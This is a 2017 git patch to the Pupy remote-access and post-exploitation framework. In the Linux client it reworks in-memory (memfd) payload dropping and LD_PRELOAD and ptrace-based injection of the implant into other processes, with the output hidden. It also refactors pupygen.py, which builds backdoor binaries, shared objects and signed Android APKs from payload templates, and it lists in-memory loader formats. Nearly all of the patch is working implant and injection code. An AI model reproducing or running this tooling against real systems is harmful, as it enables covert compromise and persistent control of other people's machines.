From 4f1a508dd0d83f4ec2f7128f40ef0b9df6910c84 Mon Sep 17 00:00:00 2001 From: Oleksii Shevchuk Date: Mon, 6 Mar 2017 18:36:29 +0200 Subject: [PATCH] Fix migration (linux client) /w memfd --- client/sources-linux/Makefile | 5 +- client/sources-linux/daemonize.c | 5 +- client/sources-linux/fixes.h | 5 + client/sources-linux/memfd.h | 1 + client/sources-linux/pupy.c | 80 ++++++++---- client/sources-linux/tmplibrary.c | 4 - pupy/modules/get_info.py | 8 +- pupy/modules/lib/linux/migrate.py | 31 ++--- pupy/modules/lib/windows/migrate.py | 9 +- pupy/pupygen.py | 192 ++++++++++++---------------- pupy/pupylib/PupyServer.py | 11 +- 11 files changed, 184 insertions(+), 167 deletions(-) diff --git a/client/sources-linux/Makefile b/client/sources-linux/Makefile index 326d417a..6e62f9ec 100644 --- a/client/sources-linux/Makefile +++ b/client/sources-linux/Makefile @@ -18,7 +18,8 @@ else NAME := 86 endif -LINUX_INJECT_CFLAGS := -include debug.h -include fixes.h -Dmain=linux_inject_main +LINUX_INJECT_CFLAGS := -include debug.h -include fixes.h \ + -Dmain=linux_inject_main "-Drealpath=realpath2" ifneq ($(DEBUG),) DEBUG_ADD := -debug @@ -115,7 +116,7 @@ $(TEMPLATE_OUTPUT_PATH)/pupyx$(NAME).lin: main_exe.o $(PYOBJS) $(COMMON_OBJS) $(CC) $(PIE) $+ -o $@ $(LDFLAGS) $(TEMPLATE_OUTPUT_PATH)/pupyx$(NAME).so: main_so.o $(PYOBJS) $(COMMON_OBJS) - $(CC) -shared $+ -o $@ $(LDFLAGS) + $(CC) -shared $+ -o $@ $(LDFLAGS) -Wl,-soname,pupyx$(NAME).so .PHONY: clean all diff --git a/client/sources-linux/daemonize.c b/client/sources-linux/daemonize.c index e5f5a2c3..67afbc82 100644 --- a/client/sources-linux/daemonize.c +++ b/client/sources-linux/daemonize.c @@ -75,7 +75,7 @@ int daemonize(int argc, char *argv[], char *env[], bool exit_parent) { } } - if (fdenv < 0 && readlink("/proc/self/exe", self, sizeof(self)-1) != -1) { + if (fdenv < 0 && readlink("/proc/self/exe", self, sizeof(self)-1) != -1 && exit_parent) { #ifdef USE_ENV_ARGS char *set_argv0 = getenv(DEFAULT_ENV_SA0); char *set_cwd = getenv(DEFAULT_ENV_SCWD); @@ -234,11 +234,8 @@ int daemonize(int argc, char *argv[], char *env[], bool exit_parent) { close(fdenv); } - /* Set default "safe" path */ - setenv("PATH", DEFAULT_SAFE_PATH, 1); /* Daemonize */ - if (!exit_parent) { if (pipe(pipes) == -1) { return -1; diff --git a/client/sources-linux/fixes.h b/client/sources-linux/fixes.h index 4d565b3b..8a4199b1 100644 --- a/client/sources-linux/fixes.h +++ b/client/sources-linux/fixes.h @@ -8,4 +8,9 @@ #define PTRACE_GETSIGINFO 0x4202 #endif +static inline +char *realpath2(const char *path, char *resolved_path) { + return path; +} + #endif diff --git a/client/sources-linux/memfd.h b/client/sources-linux/memfd.h index d614fc67..8665062c 100644 --- a/client/sources-linux/memfd.h +++ b/client/sources-linux/memfd.h @@ -3,6 +3,7 @@ #define _GNU_SOURCE #include +#include #define MFD_CLOEXEC 0x0001U #define MFD_ALLOW_SEALING 0x0002U diff --git a/client/sources-linux/pupy.c b/client/sources-linux/pupy.c index bddf82ef..6aae1bdd 100644 --- a/client/sources-linux/pupy.c +++ b/client/sources-linux/pupy.c @@ -13,6 +13,7 @@ #include #include "tmplibrary.h" #include +#include "memfd.h" #include "resources_library_compressed_string_txt.c" @@ -22,8 +23,6 @@ static const char module_doc[] = "Builtins utilities for pupy"; static const char pupy_config[8192]="####---PUPY_CONFIG_COMES_HERE---####\n"; -extern const uint32_t dwPupyArch; - #include "lzmaunpack.c" static PyObject *Py_get_modules(PyObject *self, PyObject *args) @@ -63,13 +62,13 @@ Py_get_pupy_config(PyObject *self, PyObject *args) static PyObject *Py_get_arch(PyObject *self, PyObject *args) { - if(dwPupyArch==32){ - return Py_BuildValue("s", "x86"); - } - else if(dwPupyArch==64){ - return Py_BuildValue("s", "x64"); - } +#ifdef __x86_64__ + return Py_BuildValue("s", "x64"); +#elif __i386__ + return Py_BuildValue("s", "x86"); +#else return Py_BuildValue("s", "unknown"); +#endif } static PyObject *Py_ld_preload_inject_dll(PyObject *self, PyObject *args) @@ -82,30 +81,55 @@ static PyObject *Py_ld_preload_inject_dll(PyObject *self, PyObject *args) if (!PyArg_ParseTuple(args, "zs#O", &lpCmdBuffer, &lpDllBuffer, &dwDllLenght, &py_HookExit)) return NULL; - char ldobject[PATH_MAX]={}; - if (drop_library(ldobject, PATH_MAX, lpDllBuffer, dwDllLenght) < 0) { + char ldobject[PATH_MAX] = {}; + int cleanup_workaround = 0; + int cleanup = 1; + + int fd = drop_library(ldobject, PATH_MAX, lpDllBuffer, dwDllLenght); + if (fd < 0) { dprint("Couldn't drop library: %m\n"); return NULL; } + + if (is_memfd_path(ldobject)) { + char buf2[PATH_MAX]; + strncpy(buf2, ldobject, sizeof(buf2)); + snprintf(ldobject, sizeof(ldobject), "/proc/%d/fd/%d", getpid(), fd); + cleanup_workaround = 1; + cleanup = 0; + } + char cmdline[PATH_MAX*2] = {}; snprintf( - cmdline, sizeof(cmdline), "LD_PRELOAD=%s HOOK_EXIT=%d CLEANUP=1 exec %s", + cmdline, sizeof(cmdline), "LD_PRELOAD=%s HOOK_EXIT=%d CLEANUP=%d exec %s 1>/dev/null 2>/dev/null", ldobject, PyObject_IsTrue(py_HookExit), + cleanup, lpCmdBuffer, ldobject ); dprint("Program to execute in child context: %s\n", cmdline); + prctl(4, 1, 0, 0, 0); + pid_t pid = daemonize(0, NULL, NULL, false); if (pid == 0) { /* Daemonized context */ + dprint("Daemonization complete - client\n"); execl("/bin/sh", "/bin/sh", "-c", cmdline, NULL); unlink(ldobject); exit(255); } + dprint("Daemonization complete - server\n"); + if (cleanup_workaround) { + sleep(2); + close(fd); + } + + prctl(4, 0, 0, 0, 0); + if (pid == -1) { dprint("Couldn\'t daemonize: %m\n"); unlink(ldobject); @@ -121,26 +145,25 @@ static PyObject *Py_reflective_inject_dll(PyObject *self, PyObject *args) const char *lpDllBuffer; uint32_t dwDllLenght; const char *cpCommandLine; - PyObject* py_is64bit; - int is64bits; - if (!PyArg_ParseTuple(args, "Is#O", &dwPid, &lpDllBuffer, &dwDllLenght, &py_is64bit)) + + if (!PyArg_ParseTuple(args, "Is#", &dwPid, &lpDllBuffer, &dwDllLenght)) return NULL; dprint("Injection requested. PID: %d\n", dwPid); - is64bits = PyObject_IsTrue(py_is64bit); - if(is64bits){ - is64bits=64; - }else{ - is64bits=32; - } - char buf[PATH_MAX]={}; - if (!drop_library(buf, PATH_MAX, lpDllBuffer, dwDllLenght)) { + int fd = drop_library(buf, PATH_MAX, lpDllBuffer, dwDllLenght); + if (!fd) { dprint("Couldn't drop library: %m\n"); return NULL; } + if (is_memfd_path(buf)) { + char buf2[PATH_MAX]; + strncpy(buf2, buf, sizeof(buf2)); + snprintf(buf, sizeof(buf), "/proc/%d/fd/%d", getpid(), fd); + } + char pid[20] = {}; snprintf(pid, sizeof(pid), "%d", dwPid); @@ -148,9 +171,14 @@ static PyObject *Py_reflective_inject_dll(PyObject *self, PyObject *args) "linux-inject", "-p", pid, buf, NULL }; + dprint("Injecting %s to %d\n", pid, buf); + + prctl(4, 1, 0, 0, 0); + pid_t injpid = fork(); if (injpid == -1) { dprint("Couldn't fork\n"); + close(fd); unlink(buf); return PyBool_FromLong(1); } @@ -164,9 +192,15 @@ static PyObject *Py_reflective_inject_dll(PyObject *self, PyObject *args) waitpid(injpid, &status, 0); } + prctl(4, 0, 0, 0, 0); + + dprint("Injection code: %d\n", status); + unlink(buf); + /* close(fd); */ if (WEXITSTATUS(status) == 0) { + dprint("Injection successful\n"); return PyBool_FromLong(1); } else { dprint("Injection failed\n"); @@ -194,7 +228,7 @@ static PyMethodDef methods[] = { { "get_pupy_config", Py_get_pupy_config, METH_NOARGS, "get_pupy_config() -> string" }, { "get_arch", Py_get_arch, METH_NOARGS, "get current pupy architecture (x86 or x64)" }, { "get_modules", Py_get_modules, METH_NOARGS, "get pupy library" }, - { "reflective_inject_dll", Py_reflective_inject_dll, METH_VARARGS|METH_KEYWORDS, "reflective_inject_dll(pid, dll_buffer, isRemoteProcess64bits)\nreflectively inject a dll into a process. raise an Exception on failure" }, + { "reflective_inject_dll", Py_reflective_inject_dll, METH_VARARGS|METH_KEYWORDS, "reflective_inject_dll(pid, dll_buffer)\nreflectively inject a dll into a process. raise an Exception on failure" }, { "load_dll", Py_load_dll, METH_VARARGS, "load_dll(dllname, raw_dll) -> bool" }, { "ld_preload_inject_dll", Py_ld_preload_inject_dll, METH_VARARGS, "ld_preload_inject_dll(cmdline, dll_buffer, hook_exit) -> pid" }, { NULL, NULL }, /* Sentinel */ diff --git a/client/sources-linux/tmplibrary.c b/client/sources-linux/tmplibrary.c index c27afc82..25b2b6d3 100644 --- a/client/sources-linux/tmplibrary.c +++ b/client/sources-linux/tmplibrary.c @@ -213,9 +213,7 @@ void *memdlopen(const char *soname, const char *buffer, size_t size) { if (!base) { dprint("Couldn't load library %s (%s): %s\n", soname, buf, dlerror()); -#ifndef DEBUG unlink(buf); -#endif return NULL; } @@ -226,8 +224,6 @@ void *memdlopen(const char *soname, const char *buffer, size_t size) { record->base = base; list_add(libraries, record); -#ifndef DEBUG unlink(buf); -#endif return base; } diff --git a/pupy/modules/get_info.py b/pupy/modules/get_info.py index 4c5fb7bc..37ec22e8 100644 --- a/pupy/modules/get_info.py +++ b/pupy/modules/get_info.py @@ -24,7 +24,7 @@ class GetInfo(PupyModule): ] pupyKeys = [ "transport", "launcher", "launcher_args" ] windKeys = [ "uac_lvl","intgty_lvl" ] - linuxKeys = [ "daemonize" ] + linuxKeys = [] macKeys = [] infos = [] @@ -54,7 +54,7 @@ class GetInfo(PupyModule): elif self.client.is_darwin(): for k in macKeys: infos.append((k,self.client.desc[k])) - + elif self.client.is_android(): self.client.load_package("pupydroid.utils") wifiConnected = self.client.conn.modules["pupydroid.utils"].isWiFiConnected() @@ -83,7 +83,7 @@ class GetInfo(PupyModule): deviceId = self.client.conn.modules["pupydroid.utils"].getDeviceId() infos.append(("device_id",deviceId)) #Needs API level 23. When this API will be used, these 2 following line should be uncommented - #simInfo = self.client.conn.modules["pupydroid.utils"].getSimInfo() + #simInfo = self.client.conn.modules["pupydroid.utils"].getSimInfo() #infos.append(("sim_count",simInfo)) if ("absent" not in simState) and ("unknown" not in simState): phoneNb = self.client.conn.modules["pupydroid.utils"].getPhoneNumber() @@ -110,7 +110,7 @@ class GetInfo(PupyModule): infos.append(('platform', '{}/{}'.format( self.client.platform, self.client.arch or '?' ))) - + #For remplacing None or "" value by "?" infoTemp = [] for i, (key, value) in enumerate(infos): diff --git a/pupy/modules/lib/linux/migrate.py b/pupy/modules/lib/linux/migrate.py index 48b1c8b1..05edfb34 100644 --- a/pupy/modules/lib/linux/migrate.py +++ b/pupy/modules/lib/linux/migrate.py @@ -1,6 +1,8 @@ import pupygen import time import gzip, cStringIO +import random +import string def has_proc_migrated(client, pid): for c in client.pupsrv.clients: @@ -18,12 +20,10 @@ def has_proc_migrated(client, pid): return None def get_payload(module, compressed=True): - if module.client.is_proc_arch_64_bits(): - module.info('Generate pupyx64.so payload') - dllbuf = pupygen.get_edit_pupyx64_so(module.client.get_conf()) - else: - module.info('Generate pupyx86.so payload') - dllbuf = pupygen.get_edit_pupyx86_so(module.client.get_conf()) + dllbuf, _, _ = pupygen.generate_binary_from_template( + module.client.get_conf(), 'linux', + arch=module.client.arch, shared=True + ) if not compressed: return dllbuf @@ -37,17 +37,18 @@ def get_payload(module, compressed=True): def wait_connect(module, pid): module.success("waiting for a connection from the DLL ...") - while True: - c=has_proc_migrated(module.client, pid) + for x in xrange(10): + c = has_proc_migrated(module.client, pid) if c: module.success("got a connection from migrated DLL !") - c.desc["id"]=module.client.desc["id"] + c.desc["id"] = module.client.desc["id"] + try: + module.client.conn.exit() + except Exception: + pass + break - time.sleep(0.1) - try: - module.client.conn.exit() - except Exception: - pass + time.sleep(1) def ld_preload(module, command, wait_thread=False, keep=False): payload = get_payload(module) @@ -69,7 +70,7 @@ def migrate(module, pid, keep=False): payload = get_payload(module) r = module.client.conn.modules['pupy'].reflective_inject_dll( - pid, payload, 0 + pid, payload ) if r: diff --git a/pupy/modules/lib/windows/migrate.py b/pupy/modules/lib/windows/migrate.py index 0b0838da..2d4d4ed9 100644 --- a/pupy/modules/lib/windows/migrate.py +++ b/pupy/modules/lib/windows/migrate.py @@ -20,10 +20,15 @@ def migrate(module, pid, keep=False, timeout=30): if module.client.conn.modules['pupwinutils.processes'].is_process_64(pid): isProcess64bits=True module.success("process is 64 bits") - dllbuff=pupygen.get_edit_pupyx64_dll(module.client.get_conf()) else: module.success("process is 32 bits") - dllbuff=pupygen.get_edit_pupyx86_dll(module.client.get_conf()) + + dllbuff, filename, _ = pupygen.generate_binary_from_template( + module.client.get_conf(), 'windows', + arch=module.client.arch, shared=True + ) + module.success("Template: {}".format(filename)) + module.success("injecting DLL in target process %s ..."%pid) module.client.conn.modules['pupy'].reflective_inject_dll(pid, dllbuff, isProcess64bits) module.success("DLL injected !") diff --git a/pupy/pupygen.py b/pupy/pupygen.py index 519cef99..ad76d382 100755 --- a/pupy/pupygen.py +++ b/pupy/pupygen.py @@ -29,46 +29,6 @@ ROOT=os.path.abspath(os.path.join(os.path.dirname(__file__))) if __name__ == '__main__': Credentials.DEFAULT_ROLE = 'CLIENT' -def get_edit_pupyx86_dll(conf, debug=False): - if debug: - return get_edit_binary(os.path.join(ROOT, "payload_templates","pupyx86d.dll"), conf) - return get_edit_binary(os.path.join(ROOT, "payload_templates","pupyx86.dll"), conf) - -def get_edit_pupyx64_dll(conf, debug=False): - if debug: - return get_edit_binary(os.path.join(ROOT, "payload_templates","pupyx64d.dll"), conf) - return get_edit_binary(os.path.join(ROOT, "payload_templates","pupyx64.dll"), conf) - -def get_edit_pupyx86_exe(conf, debug=False): - if debug: - return get_edit_binary(os.path.join(ROOT, "payload_templates","pupyx86d.exe"), conf) - return get_edit_binary(os.path.join(ROOT, "payload_templates","pupyx86.exe"), conf) - -def get_edit_pupyx64_exe(conf, debug=False): - if debug: - return get_edit_binary(os.path.join(ROOT, "payload_templates","pupyx64d.exe"), conf) - return get_edit_binary(os.path.join(ROOT, "payload_templates","pupyx64.exe"), conf) - -def get_edit_pupyx86_lin(conf, debug=False): - if debug: - return get_edit_binary(os.path.join(ROOT, "payload_templates","pupyx86d.lin"), conf) - return get_edit_binary(os.path.join(ROOT, "payload_templates","pupyx86.lin"), conf) - -def get_edit_pupyx64_lin(conf, debug=False): - if debug: - return get_edit_binary(os.path.join(ROOT, "payload_templates","pupyx64d.lin"), conf) - return get_edit_binary(os.path.join(ROOT, "payload_templates","pupyx64.lin"), conf) - -def get_edit_pupyx86_so(conf, debug=False): - if debug: - return get_edit_binary(os.path.join(ROOT, "payload_templates","pupyx86d.so"), conf) - return get_edit_binary(os.path.join(ROOT, "payload_templates","pupyx86.so"), conf) - -def get_edit_pupyx64_so(conf, debug=False): - if debug: - return get_edit_binary(os.path.join(ROOT, "payload_templates","pupyx64d.so"), conf) - return get_edit_binary(os.path.join(ROOT, "payload_templates","pupyx64.so"), conf) - def get_edit_binary(path, conf): logging.debug("generating binary %s with conf: %s"%(path, conf)) binary=b"" @@ -205,11 +165,12 @@ def updateTar(arcpath, arcname, file_path): finally: shutil.rmtree(tempdir) -def get_edit_apk(path, new_path, conf): - tempdir=tempfile.mkdtemp(prefix="tmp_pupy_") +def get_edit_apk(path, conf): + tempdir = tempfile.mkdtemp(prefix="tmp_pupy_") + fd, tempapk = tempfile.mkstemp(prefix="tmp_pupy_") try: packed_payload=pack_py_payload(get_raw_conf(conf)) - shutil.copy(path, new_path) + shutil.copy(path, tempapk) #extracting the python-for-android install tar from the apk zf=zipfile.ZipFile(path,'r') @@ -226,11 +187,11 @@ def get_edit_apk(path, new_path, conf): updateTar(os.path.join(tempdir,"assets/private.mp3"), "service/pp.pyo", os.path.join(tempdir,"pp.pyo")) #repacking the tar in the apk with open(os.path.join(tempdir,"assets/private.mp3"), 'r') as t: - updateZip(new_path, "assets/private.mp3", t.read()) + updateZip(tempapk, "assets/private.mp3", t.read()) #signing the tar try: - res=subprocess.check_output("jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore crypto/pupy-apk-release-key.keystore -storepass pupyp4ssword '%s' pupy_key"%new_path, shell=True) + res=subprocess.check_output("jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore crypto/pupy-apk-release-key.keystore -storepass pupyp4ssword '%s' pupy_key"%tempapk, shell=True) except OSError as e: if e.errno ==os.errno.ENOENT: print "Please install jarsigner first." @@ -238,9 +199,56 @@ def get_edit_apk(path, new_path, conf): raise e # -tsa http://timestamp.digicert.com print(res) + content = b'' + with open(tempapk) as apk: + return apk.read() + finally: #cleaning up shutil.rmtree(tempdir, ignore_errors=True) + os.unlink(tempapk) + +def generate_binary_from_template(config, osname, arch=None, shared=False, debug=False): + TEMPLATE_FMT = 'pupy{arch}{debug}.{ext}' + ARCH_CONVERT = { + 'amd64': 'x64', 'x86_64': 'x64', + 'i386': 'x86', 'i486': 'x86', 'i586': 'x86', 'i686': 'x86', + } + + arch = ARCH_CONVERT.get(arch, arch) + + CLIENTS = { + 'android': (get_edit_apk, 'pupy.apk', False), + 'linux': (get_edit_binary, TEMPLATE_FMT, True), + 'windows': (get_edit_binary, TEMPLATE_FMT, False), + } + + if not osname in CLIENTS.keys(): + raise ValueError('Unknown OS ({}), known = '.format( + osname, ', '.join(CLIENTS.keys()))) + + generator, template, makex = CLIENTS[osname] + + if '{arch}' in template and not arch: + raise ValueError('arch required for the target OS ({})'.format(osname)) + + shared_ext = 'dll' if osname == 'windows' else 'so' + non_shared_ext = 'exe' if osname == 'windows' else 'lin' + ext = shared_ext if shared else non_shared_ext + debug = 'd' if debug else '' + + if shared: + makex = False + + filename = template.format(arch=arch, debug=debug, ext=ext) + template = os.path.join( + ROOT, 'payload_templates', filename + ) + + if not os.path.isfile(template): + raise ValueError('Template not found ({})'.format(template)) + + return generator(template, config), filename, makex def load_scriptlets(): scl={} @@ -290,18 +298,13 @@ def parse_scriptlets(args_scriptlet, debug=False): class ListOptions(argparse.Action): def __call__(self, parser, namespace, values, option_string=None): print colorize("## available formats :", "green")+" usage: -f " - print "\t- exe_86, exe_x64 : generate PE exe for windows" - print "\t- dll_86, dll_x64 : generate reflective dll for windows" - print "\t- lin_x86, lin_x64 : generate a ELF binary for linux" - print "\t- so_x86, so_x64 : generate a ELF .so for linux" + print "\t- client : generate client binary" print "\t- py : generate a fully packaged python file (with all the dependencies packaged and executed from memory), all os (need the python interpreter installed)" print "\t- pyinst : generate a python file compatible with pyinstaller" print "\t- py_oneliner : same as \"py\" format but served over http to load it from memory with a single command line." print "\t- ps1 : generate ps1 file which embeds pupy dll (x86-x64) and inject it to current process." print "\t- ps1_oneliner : load pupy remotely from memory with a single command line using powershell." print "\t- rubber_ducky : generate a Rubber Ducky script and inject.bin file (Windows Only)." - print "\t- apk : generate a apk for running pupy on android" - print "" print colorize("## available transports :","green")+" usage: -t " for name, tc in transports.iteritems(): @@ -317,10 +320,19 @@ class ListOptions(argparse.Action): print '\n'.join(["\t"+x for x in sc.get_help().split("\n")]) exit() -PAYLOAD_FORMATS=['apk', 'lin_x86', 'lin_x64', 'so_x86', 'so_x64', 'exe_x86', 'exe_x64', 'dll_x86', 'dll_x64', 'py', 'pyinst', 'py_oneliner', 'ps1', 'ps1_oneliner', 'rubber_ducky'] +PAYLOAD_FORMATS = [ + 'client', 'py', 'pyinst', 'py_oneliner', 'ps1', 'ps1_oneliner', 'rubber_ducky' +] + +CLIENT_OS = [ 'android', 'windows', 'linux' ] +CLIENT_ARCH = [ 'x86', 'x64' ] + if __name__=="__main__": parser = argparse.ArgumentParser(description='Generate payloads for windows, linux, osx and android.') - parser.add_argument('-f', '--format', default='exe_x86', choices=PAYLOAD_FORMATS, help="(default: exe_x86)") + parser.add_argument('-f', '--format', default='client', choices=PAYLOAD_FORMATS, help="(default: client)") + parser.add_argument('-O', '--os', default='windows', choices=CLIENT_OS, help='Target OS (default: windows)') + parser.add_argument('-A', '--arch', default='x86', choices=CLIENT_ARCH, help='Target arch (default: x86)') + parser.add_argument('-S', '--shared', default=False, action='store_true', help='Create shared object') parser.add_argument('-o', '--output', help="output path") parser.add_argument('-s', '--scriptlet', default=[], action='append', help="offline python scriptlets to execute before starting the connection. Multiple scriptlets can be privided.") parser.add_argument('-l', '--list', action=ListOptions, nargs=0, help="list available formats, transports, scriptlets and options") @@ -368,62 +380,24 @@ if __name__=="__main__": conf['launcher_args']=args.launcher_args conf['offline_script']=script_code outpath=args.output - if args.format=="exe_x86": - binary=get_edit_pupyx86_exe(conf, debug=args.debug) - if not outpath: - outpath="pupyx86.exe" - with open(outpath, 'wb') as w: - w.write(binary) - elif args.format=="lin_x86": - binary=get_edit_pupyx86_lin(conf, debug=args.debug) - if not outpath: - outpath="pupyx86.lin" - with open(outpath, 'wb') as w: - w.write(binary) - os.chmod(outpath, 0711) - elif args.format=="so_x86": - binary=get_edit_pupyx86_lin(conf, debug=args.debug) - if not outpath: - outpath="pupyx86.so" - with open(outpath, 'wb') as w: - w.write(binary) - os.chmod(outpath, 0711) - elif args.format=="lin_x64": - binary=get_edit_pupyx64_lin(conf, debug=args.debug) - if not outpath: - outpath="pupyx64.lin" - with open(outpath, 'wb') as w: - w.write(binary) - os.chmod(outpath, 0711) - elif args.format=="so_x64": - binary=get_edit_pupyx64_lin(conf, debug=args.debug) - if not outpath: - outpath="pupyx64.so" - with open(outpath, 'wb') as w: - w.write(binary) - os.chmod(outpath, 0711) - elif args.format=="exe_x64": - binary=get_edit_pupyx64_exe(conf, debug=args.debug) - if not outpath: - outpath="pupyx64.exe" - with open(outpath, 'wb') as w: - w.write(binary) - elif args.format=="dll_x64": - binary=get_edit_pupyx64_dll(conf, debug=args.debug) - if not outpath: - outpath="pupyx64.dll" - with open(outpath, 'wb') as w: - w.write(binary) - elif args.format=="dll_x86": - binary=get_edit_pupyx86_dll(conf, debug=args.debug) - if not outpath: - outpath="pupyx86.dll" - with open(outpath, 'wb') as w: - w.write(binary) - elif args.format=="apk": - if not outpath: - outpath="pupy.apk" - get_edit_apk(os.path.join(ROOT, "payload_templates","pupy.apk"), outpath, conf) + if args.format=="client": + data, filename, makex = generate_binary_from_template( + conf, args.os, + arch=args.arch, shared=args.shared, debug=args.debug + ) + outpath = outpath or filename + + try: + os.unlink(outpath) + except: + pass + + with open(outpath, 'w') as out: + out.write(data) + + if makex: + os.chmod(outpath, 0511) + elif args.format=="py" or args.format=="pyinst": linux_modules = "" if not outpath: diff --git a/pupy/pupylib/PupyServer.py b/pupy/pupylib/PupyServer.py index f0413734..1271b8d9 100644 --- a/pupy/pupylib/PupyServer.py +++ b/pupy/pupylib/PupyServer.py @@ -85,7 +85,10 @@ class PupyServer(threading.Thread): return new_id def free_id(self, id): - self._current_id.remove(int(id)) + try: + self._current_id.remove(int(id)) + except KeyError: + pass def register_handler(self, instance): """ register the handler instance, typically a PupyCmd, and PupyWeb in the futur""" @@ -110,9 +113,9 @@ class PupyServer(threading.Thread): "conn" : conn, "address" : conn._conn._config['connid'].rsplit(':',1)[0], "launcher" : conn.get_infos("launcher"), - "launcher_args" : obtain(conn.get_infos("launcher_args")), - "transport" : obtain(conn.get_infos("transport")), - "daemonize" : (True if obtain(conn.get_infos("daemonize")) else False), + "launcher_args" : conn.get_infos("launcher_args"), + "transport" : conn.get_infos("transport"), + "daemonize" : (True if conn.get_infos("daemonize") else False), "native": conn.get_infos("native"), } client_info.update(l)